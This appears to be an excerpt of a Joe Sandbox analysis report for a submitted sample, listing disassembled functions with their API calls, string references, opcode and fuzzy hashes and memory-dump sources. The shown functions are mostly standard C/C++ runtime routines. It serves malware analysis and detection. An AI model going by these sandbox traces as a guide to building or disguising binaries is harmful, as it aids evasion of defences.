Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID: v
API String ID: 2112829910-1689364375
Opcode ID: c27460b8a7bc638c1635f2901d2f1ccdc9d79e1402fa66488aa3b7c4d063b055
Instruction ID: 20e9572a399cc8885be5906b7fec2dfaa81ac8baaf25e1a44115cfae68ae399f
Opcode Fuzzy Hash: c27460b8a7bc638c1635f2901d2f1ccdc9d79e1402fa66488aa3b7c4d063b055
Instruction Fuzzy Hash: 58D159B5D04258AFCB15CFA8D884AADBFB5FF49304F18422AE895F7351D730A946CB50

Function 00E2A25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E2A251,00E28978,00E27AFF), ref: 00E2A268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E2A276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E2A28F
SetLastError.KERNEL32(00000000,00E2A251,00E28978,00E27AFF), ref: 00E2A2E1

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7ed9aa88a4e295f9d73072b87f536792e4dd1fbfac7e982f51522d10005853be
Instruction ID: c878c149b98445aab61476cd2f910318f64b4a91b05daef5c49bc118b867fd1e
Opcode Fuzzy Hash: 7ed9aa88a4e295f9d73072b87f536792e4dd1fbfac7e982f51522d10005853be
Instruction Fuzzy Hash: A601D43724DB31AFA72427B5BD866662786EB03B78B341339F520760F1EF524C0B5246

Function 00E2A371 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E2A438
___AdjustPointer.LIBCMT ref: 00E2A45B
___AdjustPointer.LIBCMT ref: 00E2A4F7

Strings

R[, xrefs: 00E2A3D0

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: R[
API String ID: 1740715915-3972925902
Opcode ID: 63095d6b3a6d61a99d91f3100b5a5441f52fd8f31e73b35acfe21a4cb9f6cf0b
Instruction ID: adff3318821e56b4b6eef86cfb08e36d89d1a3f76142d78531a5d0ef9ab08256
Opcode Fuzzy Hash: 63095d6b3a6d61a99d91f3100b5a5441f52fd8f31e73b35acfe21a4cb9f6cf0b
Instruction Fuzzy Hash: 1551F272601226DFDB29AF54F845BBA77A4EF00314F28543DE86577192E771EC40CB92

Function 00E24436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E24442
int.LIBCPMT ref: 00E24455

Part of subcall function 00E216B4: std::_Lockit::_Lockit.LIBCPMT ref: 00E216C5
Part of subcall function 00E216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00E216DF

std::_Facet_Register.LIBCPMT ref: 00E24488
std::_Lockit::~_Lockit.LIBCPMT ref: 00E2449E
Concurrency::cancel_current_task.LIBCPMT ref: 00E244A9

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: aa9337975156db746116defcc12f40b1302413d3fcff6dc8c54882f2c3d6d355
Instruction ID: 14c371645b36fba361fee50d778b8b53abcbe8d17f30fcc7fd715c1a4d1c4316
Opcode Fuzzy Hash: aa9337975156db746116defcc12f40b1302413d3fcff6dc8c54882f2c3d6d355
Instruction Fuzzy Hash: 7101A2B2500538ABCB25FB64FC059AD77A8EF90760B21219AF815BB2D1DF309F01C780

Function 00E23DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E23DBD
int.LIBCPMT ref: 00E23DD0

Part of subcall function 00E216B4: std::_Lockit::_Lockit.LIBCPMT ref: 00E216C5
Part of subcall function 00E216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00E216DF

std::_Facet_Register.LIBCPMT ref: 00E23E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00E23E19
Concurrency::cancel_current_task.LIBCPMT ref: 00E23E24

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 9d167d1830325a1ff987d03d519caae176e9fd41bf1291e2e441a586a0c9ef8c
Instruction ID: a01f84a8e1a991166ea7b18f81122fa326e98c2d491503569d2517d9523a0bbb
Opcode Fuzzy Hash: 9d167d1830325a1ff987d03d519caae176e9fd41bf1291e2e441a586a0c9ef8c
Instruction Fuzzy Hash: 9001A772600534ABCB25AB64FD058AD77A8DF90360B25218AF8057B291DF749F05CB80

Function 00E24308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E24315
int.LIBCPMT ref: 00E24328

Part of subcall function 00E216B4: std::_Lockit::_Lockit.LIBCPMT ref: 00E216C5
Part of subcall function 00E216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00E216DF

std::_Facet_Register.LIBCPMT ref: 00E2435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00E24371
Concurrency::cancel_current_task.LIBCPMT ref: 00E2437C

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: acc5887dbf00ec4ae2e181bcea8d6ac0ca07c4cb21808c5f14012b4bca0b5830
Instruction ID: c05edff000345dc6db33b59c1bf5619aabcb6d09833727e2c8c834e7eb05ba54
Opcode Fuzzy Hash: acc5887dbf00ec4ae2e181bcea8d6ac0ca07c4cb21808c5f14012b4bca0b5830
Instruction Fuzzy Hash: EB01A2B2A00538ABCB15EB64BD068DD77E89F90764B20219AF801BB2D1DF30DF05CB84

Function 00E6961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E69626

Part of subcall function 00E68E77: __getptd_noexit.LIBCMT ref: 00E68E7A
Part of subcall function 00E68E77: __amsg_exit.LIBCMT ref: 00E68E87

__getptd.LIBCMT ref: 00E6963D
__amsg_exit.LIBCMT ref: 00E6964B
__lock.LIBCMT ref: 00E6965B
__updatetlocinfoEx_nolock.LIBCMT ref: 00E6966F

Memory Dump Source

Source File: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: 40e8daf0b1ba6c2ff4606a7eeb866eee9e0d79dd42041e8a5e139794bc0bd9eb
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: 81F09032AC47109ADA21BB68B802B5D37E4AF007E8F55624AF454B62D3CF355940DB5A

Function 00E2A060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00E2A09F
__IsNonwritableInCurrentImage.LIBCMT ref: 00E2A153

Strings

R[, xrefs: 00E2A16C
csm, xrefs: 00E2A13D

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: R[$csm
API String ID: 3480331319-1515388219
Opcode ID: 62d2ff966e5caa037b0208dc83401c8e843d001809a1b19dcdd994cf0299a468
Instruction ID: f86b56e32e1f174814299ca0dc4a08445f145efc1324a9f8ce1020a0648b2b32
Opcode Fuzzy Hash: 62d2ff966e5caa037b0208dc83401c8e843d001809a1b19dcdd994cf0299a468
Instruction Fuzzy Hash: D141E374A01228DBCF10DF69E881A9E7BF1AF45328F189065E814BB392C731EE55CB91

Function 00E2B3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00E2B353,00000000,?,00E9B6D4,?,?,?,00E2B4F6,00000004,InitializeCriticalSectionEx,00E44BD8,InitializeCriticalSectionEx), ref: 00E2B3AF
GetLastError.KERNEL32(?,00E2B353,00000000,?,00E9B6D4,?,?,?,00E2B4F6,00000004,InitializeCriticalSectionEx,00E44BD8,InitializeCriticalSectionEx,00000000,?,00E2B2AD), ref: 00E2B3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00E2B3E1

Strings

api-ms-, xrefs: 00E2B3C6

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9580239bcd2cfdde9d0d91d79a06c3ec4e506c9d94cdf7fabc334c3d9ffd3bc8
Instruction ID: 964d7622c0371639c3849ed7bc787b13fef49afced10585ab1a6010b27a9932f
Opcode Fuzzy Hash: 9580239bcd2cfdde9d0d91d79a06c3ec4e506c9d94cdf7fabc334c3d9ffd3bc8
Instruction Fuzzy Hash: 2DE01A34680204BBEB215BB2FC4AB593F59AF11B45F201121FA0CF80E1E7A19A558684

Function 00E406EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00E3F713,00000000,00000001,00000000,00000000,?,00E37B44,00000000,00000000,00000000), ref: 00E40706
GetLastError.KERNEL32(?,00E3F713,00000000,00000001,00000000,00000000,?,00E37B44,00000000,00000000,00000000,00000000,00000000,?,00E380CB,00000000), ref: 00E40712

Part of subcall function 00E406D8: CloseHandle.KERNEL32(FFFFFFFE,00E40722,?,00E3F713,00000000,00000001,00000000,00000000,?,00E37B44,00000000,00000000,00000000,00000000,00000000), ref: 00E406E8

___initconout.LIBCMT ref: 00E40722

Part of subcall function 00E4069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00E406C9,00E3F700,00000000,?,00E37B44,00000000,00000000,00000000,00000000), ref: 00E406AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00E3F713,00000000,00000001,00000000,00000000,?,00E37B44,00000000,00000000,00000000,00000000), ref: 00E40737

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3f92be79d6ae83b1af56ae023140f37aa49a254f07673b5f76cc62e446f64156
Instruction ID: 45f0e60fcfd49cbb519fa88543a9b5f08a86c99e1f5f78b9b17453c735b62a04
Opcode Fuzzy Hash: 3f92be79d6ae83b1af56ae023140f37aa49a254f07673b5f76cc62e446f64156
Instruction Fuzzy Hash: D9F0123A101154BFCF222FA6EC089893FA5FB4A3A1B014060FB19B5520C6318921EF91

Function 00E41093 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00E409EF), ref: 00E410AC

Strings

R[, xrefs: 00E41176, 00E41220, 00E41266
Li, xrefs: 00E41241

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: Li$R[
API String ID: 3527080286-2265778396
Opcode ID: fa15e0f776161dd0afcec685ea49ad92ae4704f27a937771972b52406eb7f30f
Instruction ID: 9c03ccebdcfac720b89f934789bfee6e70b87a575611766b7db35b20f1d9e384
Opcode Fuzzy Hash: fa15e0f776161dd0afcec685ea49ad92ae4704f27a937771972b52406eb7f30f
Instruction Fuzzy Hash: 7351807190460ADBCF108FA9F9481FDBBB4FB86308F106185D691F6364C7B089A9DB59

Function 00E25F4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 00E26026

Strings

R[, xrefs: 00E26005

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: R[
API String ID: 3078413507-3972925902
Opcode ID: 8bcf7924a11e03ff220b02ec34041c8b024e0002f06d65e54e84dea00ff220ef
Instruction ID: f1c4d8a5b25ac1874279ddc44a1cc0c42a5b64f67e4dda19c45435973d9706f7
Opcode Fuzzy Hash: 8bcf7924a11e03ff220b02ec34041c8b024e0002f06d65e54e84dea00ff220ef
Instruction Fuzzy Hash: F8418C37A0062AABDB14DF64EA808EDB7B8FF08315B145126E942B7680E731FD41CF90

Function 00E2A96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00E2A992

Strings

MOC, xrefs: 00E2A9A4
RCC, xrefs: 00E2A9AC

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 0cdf970f32bfba0a0f5c407b601f1d77224598791635e99eab071def7e8bbd02
Instruction ID: 7d008dcdb426e097ee6c8a7748aa535dc023acfb0e34bde77b584c9a6e22dbd1
Opcode Fuzzy Hash: 0cdf970f32bfba0a0f5c407b601f1d77224598791635e99eab071def7e8bbd02
Instruction Fuzzy Hash: A6419A71900219EFCF16DF98ED81AAEBBB1FF48304F1850A9F914B7211D3359990DB52

Function 00E64FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00E6504A
__aulldiv.LIBCMT ref: 00E65058

Strings

@, xrefs: 00E65025

Memory Dump Source

Source File: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: b214aa7d91eaad4b26772d9e978d9a0a6bc1a5827e7ee9bfa96f39c600a0841c
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 91215EB1E84208ABDB04DFD4DC49FAEB7B9FB45B50F104119F605BB280C778A9018BA5

Function 00E25107 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E25113
std::_Lockit::~_Lockit.LIBCPMT ref: 00E2516F

Strings

R[, xrefs: 00E2513A, 00E25154

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: R[
API String ID: 593203224-3972925902
Opcode ID: 59e0c5399b04254942cbe5c0bf5acdd81ca9f98af5b1339c2bd1c77650421991
Instruction ID: 74399e95aa6d40859e0ead2f3b10eecb70869c4978188f04c4e0db4abcf202e7
Opcode Fuzzy Hash: 59e0c5399b04254942cbe5c0bf5acdd81ca9f98af5b1339c2bd1c77650421991
Instruction Fuzzy Hash: 3D01B175600924EFCB10EF24E885E9D77B9EF85714B040099E802BB3A1DF70EE05CB50

Function 00E4E0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00E4E130
__aulldiv.LIBCMT ref: 00E4E13E

Strings

@, xrefs: 00E4E10B

Memory Dump Source

Source File: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 607cae79222c1282145edb843b263322ae547b13767d822b164f3f718bd44c76
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 80014BB0D81308FAEB14EBE0EC4AB9DBAB8FB00705F249059E60476380D6B459428B55

Function 00E215DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E215E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00E2161E

Part of subcall function 00E25178: _Yarn.LIBCPMT ref: 00E25197
Part of subcall function 00E25178: _Yarn.LIBCPMT ref: 00E251BB

Strings

bad locale name, xrefs: 00E2162C

Memory Dump Source

